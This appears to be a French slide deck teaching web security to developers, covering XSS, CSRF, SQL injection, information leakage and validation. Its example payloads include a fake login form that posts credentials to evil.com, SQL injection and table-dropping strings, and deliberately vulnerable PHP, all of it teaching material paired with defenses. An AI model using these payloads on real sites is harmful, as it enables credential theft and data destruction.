$ whoami
Demain, dans 6 mois, l'année prochaine, ou même peut-être hier, vous mettrez en ligne un site internet. Ou bien on vous demandera de participer à la réalisation d'un de ces sites.
Mais aussi parce que réfléchir aux problématiques de la sécurité pour vos programmes:
...Oui
...
Vous apprendrez beaucoup en étant d'un côté comme de l'autre.
Vous augmenterez le niveau de sécurité de façon ludique avant d'avoir à le faire dans l'urgence et dans des situations qui ne sont pas du tout agréables.
Pour permettre aux développeurs de travailler sans imposer une formation professionelle de dix ans, les outils mis en place fournissent des niveaux d'abstraction.
Les failles de sécurité utilisent le plus souvent des cas limites de ces abstractions. Et si vous voulez progresser, il faudra toujours essayer de voir plus loin que les abstractions que vous manipulez. Effectivement, il n'y a pas de fin, mais cela fera de vous un meilleur développeur, jour après jour.
All non-trivial abstractions, to some degree, are leaky
--Joel Spolsky
The Law of Leaky Abstractions
Le domaine de la sécurité est très vaste. Il regroupe des éléments plus larges que ceux que nous aborderons pour la sécurité web:
Trop de sécurité tue la sécurité.
Quand le niveau de sécurité augmente, le niveau de confort descend (le plus souvent).
Si le niveau de sécurité en place est trop fort, les utilisateurs mettrons en place des moyens dérivés qui ruinerons le travail effectué.
Une fois que vous aurez acquis des connaissances en terme de sécurité, il faudra être capable de les doser et de les relativiser par rapport à une vision plus large du système d'information.
Votre serveur web peut être pris pour cible pour plusieurs raisons:
Il ne faut pas négliger le potentiel de nuissance des utilisateurs autorisés de l'application. Ce qui peut être aggravé aussi par les risques de mauvaises manipulations pour les rôles utilisateurs qui possèdent trop de droits ou à cause des mauvaises pratiques renforcées par l'application.
En terme de sécurité informatique le savoir est ouvert et disponible.
Du côté obscur de la force le chemin plus facile semble...
Dans le domaine particulier de la sécurité on utilise souvent deux termes pour distinguer ces individus: Black Hat et White Hat, la différence est la même que chez les magiciens.
Mais sans parler d'expertise, il faut
La grande différence entre du code produit par un débutant et celui produit par un développeur expérimenté réside souvent dans le niveau de rigueur.
/*
* Feed $arr with the bar key from $toto and arr['foo']
*/
function foo($toto, &$arr) {
$bar = $toto->tata . $arr['foo'];
$arr['bar'] = $bar;
}
Le code marche (il fait la tâche bizarre qui lui est demandé).
Mais s'il est utilisé en dehors du cadre pour lequel il a été pensé, il peut échouer de façon plus ou moins brutale. Cela va de la génération de WARNING (accès à une clef non existante) au crash complet (accès à un attribut inexistant).
Be conservative in what you do, be liberal in what you accept from others
/*
* Feed the bar key of $arr array with $toto->tata and arr['foo']
*
* If toto->tata is not yet initialised defaults will be loaded
*
* @param ZooInterface $toto Main Zoo object
* @param array $arr array used by reference, result in case of success is in arr['bar']
* @throws FooException
*/
function foo(ZooInterface $toto, &$arr) {
if (!(is_array($arr)) || !array_key_exists('foo',$arr)) {
throw new FooException('Second argument of foo should be an array with the foo key already set');
}
try {
if (!isset($toto->tata)) {
$toto->tata = ZooBase::loadTataDefaults();
}
(...)
(...)
$bar = $toto->tata . $arr['foo'];
if (array_key_exists('bar',$arr)) {
if ($bar === $arr['bar']) {
$this->log('bar key was already set and is unaltered while running foo.')
} else {
throw new FooAlterationException('found a bar kay with a different value while running foo');
}
} else {
$arr['bar'] = $bar;
}
} catch (Exception $e) {
throw new FooException('Foo was unable to make the job!', $e);
}
}
Always wanted to travel back in time to try fighting a younger version of yourself? Software development is the career for you! - twitter: Elliot Loh @Loh
La robustesse est importante en terme de sécurité parce que l'attaquant ne va pas respecter les règles.
Un des aspects important de l'attaque de sécurité est l'utilisation du code et des outils qui sont en place en les détournant (hijacking). L'attaquant se sert de tout ce qui est présent et en détourne l'usage.
De la même manière qu'en mathématiques, la phrase magique "Si x est différent de 0" devait devenir un mode de pensée obligatoire, le développeur devrait toujours penser aux cas limites, à ce qui arrive quand le contrat n'est pas respecté, quand on ne respecte pas les règles.
Diffuser l'information pour mieux se protéger, mais aussi pour en comprendre les impacts:
Type de vulnerabilité
CVE-1999-1293 mod_proxy, DOS, core dump (10.0)
Le site web est rendu inaccessible, ce qui ouvre la voie aux concurrents ou au chantage. Il y a plusieurs vecteurs:
PRO TIP: commencez toujours un audit avec Google, une grande partie des attaquants arrivent sur le site grâce à Google. Le mot clef est Google Dorking
On parle ici de fuites d'informations. Faire fuir des information c'est par exemple afficher les messages d'erreur à l'utilisateur.
Une simple recherche Google sur "Notice undefined index in /var/www" me renvoit sur ce site:
Je connais dès lors le langage mais aussi les chemins réels sur le disque (et je peux estimer sans trop de riques que le site n'est pas très sécurisé).
Il est souvent très utile de connaitre ces chemins pour retrouver les chemins relatifs vers les fichiers intéressants comme /etc/passwd.
Mais ces informations qui aident vos attaquants se cachent à de multiples endroits:
Ici, nous avons la version d'Apache httpd, la version de PHP, l'OS (gentoo) et même la version d'OpenSSL.
Retenez:
Presque toutes les failles sont des failles d'injection, si on veut. -- Moi.
En mieux:
SQL injection is a special case of syntax tree mutation. All languages are susceptible to it, and everything is a langage. #langsec - twitter: active wreck chords @jcoglan
<input type="text" name="search" value="<? echo $_GET['search']; ?>">
Entrez ceci::
What?"><h1>Oups</h1><input type="checkbox
Et le résultat:
<input type="text" name="search" value="What?">
<h1>Oups</h1>
<input type="checkbox">
Pas grave? essayez:
" ><div class="big-overlay"></form>
<form method="POST" action="http://www.evil.com">
<p class="secure">Please re-enter you credentials</p>
<label>Login:</label>
<input type="text">
<label>Mot de passe:</label>
<input type="password">
</div>
<foo "
Et vous avez un formulaire de login en popup, détourné vers un autre site.
<input type="text" name="search" value="<? echo $_GET['search']; ?>">
Entrez ceci:
What?" onLoad="alert('xss');"><input type="checkbox
Et le résultat::
<input type="text" name="search" value="What?"
onLoad="alert('xss');">
<input type="checkbox">
En javascript on peut faire TOUT ce qui est imaginable en HTML, et plus encore. Détourner du contenu, poster des requêtes de façon transparentes, charger d'autres sources javascript depuis d'autres sites, etc.
Le XSS (Cross Site Scripting) est votre pire ennemi.
Les moteurs de recherches dans les sites et les codes 'SEO' sont très souvent sensibles.
Ils sont tous les deux manipulables, de ce point de vue là, pas de différences. Mais:
GET est indempotent
Il y a des liens GET partout dans une page, et le navigateur les charge sans vous demander, il peut même le faire depuis un site distant.
<IMG SRC='/user/logout' /> <!-- dans un commentaire c'est #?!^" -->
<IMG SRC='/user/delete/42' /> <!-- pour l'admin... -->
Mon petit violon d'Ingres.
Revenons à un cas simple. La plus connue. L'injection SQL.
Le cas classique est un formulaire de login, le programme reçoit deux arguments depuis une requête POST:
Et il fait une requête SQL pour vérifier que les deux correspondent ... d'une horrible manière:
$login = $_POST['login']; $password = $_POST['password'];
$sql = "SELECT id FROM users WHERE `login`='$login'";
$sql .= " and `password`=PASSWORD($password)";
$result = $db->query($sql);
if (count( $result) > 0) {
(...)
Le jeu consiste alors à insérer du SQL dans la requête SQL ...
login admin
password ') OR '1' = '1
Ou encore
login '; DROP table users --
L'injection SQL est très connue car elle est puissante. Elle permet de passer outre les sécurités d'accès, de détruire ou de modifier des données (UPDATE, INSERT, DELETE, TRUNCATE) voir d'extraire n'importe quelle information de la base (requêtes UNION, requête sur information_schema, time-based attacks).
Il existe des moyens de s'en protéger. Certains sont bons, d'autres sont très bons, d'autres très mauvais.
"SELECT id FROM users WHERE `login`='"
. addslashes($login)
. "' and `password`=PASSWORD('"
. addslashes($password)
. "')";
Ceci transforme les quotes ' en \'. C'est très insuffisant.
"SELECT id FROM users WHERE `login`='"
. mysql_real_escape_string($login, $db)
. "' and `password`=PASSWORD('"
. mysql_real_escape_string($password, $db)
. "')";
mysql_real_escape_string() appelle la fonction mysql_escape_string() de la bibliothèque MySQL qui ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a.
C'est une protection ultime (tant que la librairie qui abstrait votre connexion à la base fait bien ce qu'elle prétend faire).
$sql = "SELECT id FROM users WHERE `login`=:login"
$sql .= " and `password`=PASSWORD(:pwd)";
$args = array(
'login' => $_POST['login'],
'pwd' => $_POST['password']
);
$result = $db->query($sql, $args);
Le moteur SQL reçoit d'un côté la requête SQL et de l'autre les arguments à insérer dans cette requête.
La requête est compilée sous la forme d'un arbre d'éxecution AVANT que les arguments ne soient ajoutés dans cette requête. Ces arguments ne pourront donc JAMAIS être eux-mêmes interprétés comme du SQL.
Pas d'injection!
Décomposez les tâches complexes en sous-ensemble simples, appréhendables
Chacune de ces tâches peut être vue comme une boîte qui accepte des entrées et génère des sorties:
La boîte noire se décompose elle-même en un sous-ensemble de boîtes qui interagissent. Il y a des flux entrants et sortants pour chacune.
Ce principe est aussi applicable à l'ensemble.
Validez les entrées
Filtrez les sorties
Validez les entrées
Filtrez les sorties
Validez les entrées
Filtrez les sorties
Validez les entrées
Filtrez les sorties
Exemple :
$foo = (int) $_GET['foo'];
Exemple :
if ( ! in_array($_GET['foo'],array('red','green','blue'))) {
throw new WTFException("Only 'red', 'green' and 'blue' values are allowed");
}
source XKCD: http://www.xkcd.com/1137/
Les règles d'échappement sont propres à chaque sortie et visent à éviter le principe des attaques par injection.
Ces filtrages sont propres à chaque sortie ==> ils ne doivent normalement pas être effectués à la validation, en entrée, puisqu'ils sont différents en fonction des canaux de sortie.
Une sortie non ou mal filtrée est la base de la majorité des attaques de sécurité dans le domaine du web.
Si vous ne devez retenir que deux choses retenez ces éléments là.
Validation des entrées, Filtrage des sorties.
Face à un projet essayez d'identifier très vite les éléments qui servent à ces deux tâches.
Ce principe est le deuxième grand principe (après les validations et filtrages). Les différentes couches, ou strates, d'un système d'information ont toujours des failles. Ne faites jamais une confiance aveugle aux autres briques de la solution.
Ne faites jamais confiances aux étapes précédant votre code pour bloquer les attaques!
Soyez paranoïaques, on parle de systèmes automatisés, ces systèmes ont très peu de bon sens, ils peuvent laisser entrer un éléphant dans votre salon si celui-ci conduit votre voiture, porte votre cravate et possède les clefs de la maison.
(photo elephant: banksy)
Ne surestimez pas vos pairs, encore moins les utilisateurs, et, surtout, pensez aux commerciaux.
Un produit sécurisé est souvent identique fonctionnellement au même produit sans la sécurité et sans la robustesse.
Que vaut la sécurité quand les plates-formes changent tous les ans, que le marché s'emballe pour la nouveauté?
Jusqu'ici tout va bien...
Ce principe est l'une des applications du principe précédent. Une application sécurisée n'existe pas si le système d'information qui héberge cette application n'est pas pris en compte.
Pour aujourd'hui, je ne vous ferais pas un cours détaillé sur l'administration système mais je liste quelques principes:
Regardez les headers HTTP de sites comme github ou facebook et voyez si votre site ne mériterait pas les mêmes.
GRANT ALL PRIVILEGES ON `db_user1`.* TO 'user1'@'%';
GRANT ALL PRIVILEGES ON `db_user2`.* TO 'user2'@'%';
GRANT ALL PRIVILEGES ON `db_user%`.* TO 'user%'@'localhost';
GRANT SELECT ON `db_user%`.`foo` TO 'bar'@'localhost';
GRANT ALL PRIVILEGES ON `db\_user1`.* TO 'user1'@'%';
GRANT ALL PRIVILEGES ON `db\_user2`.* TO 'user2'@'%';
GRANT ALL PRIVILEGES ON `db\_user\%`.* TO 'user%'@'localhost';
GRANT SELECT ON `db_user%`.`foo` TO 'bar'@'localhost';
MYSQL: The “_” and “%” wildcards are permitted when specifying database names in GRANT statements that grant privileges at the global or database levels.
| Table of contents | t |
|---|---|
| Exposé | ESC |
| Autoscale | e |
| Full screen slides | f |
| Presenter view | p |
| Source files | s |
| Slide numbers | n |
| Blank screen | b |
| Notes | 2 |
| Help | h |